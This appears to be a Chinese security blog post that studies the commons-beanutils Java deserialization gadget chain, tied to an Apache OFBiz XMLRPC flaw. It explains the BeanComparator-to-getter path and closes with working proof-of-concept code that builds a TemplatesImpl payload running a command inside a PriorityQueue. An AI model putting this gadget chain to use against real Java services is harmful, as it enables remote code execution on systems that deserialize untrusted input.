前言

最近乱七八糟的事情有点多,都没好好学习了。

看了 Apache Ofbiz XMLRPC 的反序列化漏洞,可以看这篇文章

因为环境搭建起来比较复杂,还要搞远程调试,而且过程比较简单,就是处理某种 XML 格式时会进行反序列化,所以我就懒得搞了。

不过用到的 commons-beanutils 反序列化链我还没有看过,就看一看吧。


环境搭建

随便搞个 Java 项目就行,maven:

<dependency>
    <groupId>commons-beanutils</groupId>
    <artifactId>commons-beanutils</artifactId>
    <version>1.9.3</version>
</dependency>

反序列链

BeanComparator 类的 compare 函数:

public int compare( final T o1, final T o2 ) {

    if ( property == null ) {
        // compare the actual objects
        return internalCompare( o1, o2 );
    }

    try {
        final Object value1 = PropertyUtils.getProperty( o1, property );
        final Object value2 = PropertyUtils.getProperty( o2, property );
        return internalCompare( value1, value2 );
    }
    ...
}

看名字似乎会对对象的某个属性做一些操作,这里的对象 o 和属性名 property 都是可控的,继续往下,一路来到 PropertyUtilsBean 类的 getSimpleProperty 函数:

// Retrieve the property getter method for the specified property
final PropertyDescriptor descriptor =
        getPropertyDescriptor(bean, name);
if (descriptor == null) {
    throw new NoSuchMethodException("Unknown property '" +
            name + "' on class '" + bean.getClass() + "'" );
}
final Method readMethod = getReadMethod(bean.getClass(), descriptor);
if (readMethod == null) {
    throw new NoSuchMethodException("Property '" + name +
            "' has no getter method in class '" + bean.getClass() + "'");
}

// Call the property getter and return the value
final Object value = invokeMethod(readMethod, bean, EMPTY_OBJECT_ARRAY);
return (value);

看起来就是调用了某个类的 getter,所以利用方式类似于 Fastjson,可以接上 TemplatesImpl 实现 RCE。

测试代码

简单写一个:

ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass clazz = pool.get(testJavassist.class.getName());
String code = "java.lang.Runtime.getRuntime().exec(\"calc\");";
clazz.makeClassInitializer().insertAfter(code);
CtClass superClass = pool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superClass);
byte[] classBytes = clazz.toBytecode();
TemplatesImpl templates = new TemplatesImpl();
setField(templates, "_bytecodes", new byte[][]{classBytes});
setField(templates, "_name", "Pwn");
setField(templates, "_tfactory", TransformerFactoryImpl.newInstance());

BeanComparator beanComparator = new BeanComparator("outputProperties");

PriorityQueue<Object> queue = new PriorityQueue<Object>(2, null);
queue.add("1");
queue.add("1");

setField(queue, "comparator", beanComparator);
final Object[] queueArray = (Object[]) getFieldValue(queue, "queue");
queueArray[0] = templates;
queueArray[1] = templates;

unserialize(serialize(queue));

参考

ysoserial


Web Java 反序列化

本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!

PHP SplDoublyLinkedList UAF 利用
XStream 反序列化漏洞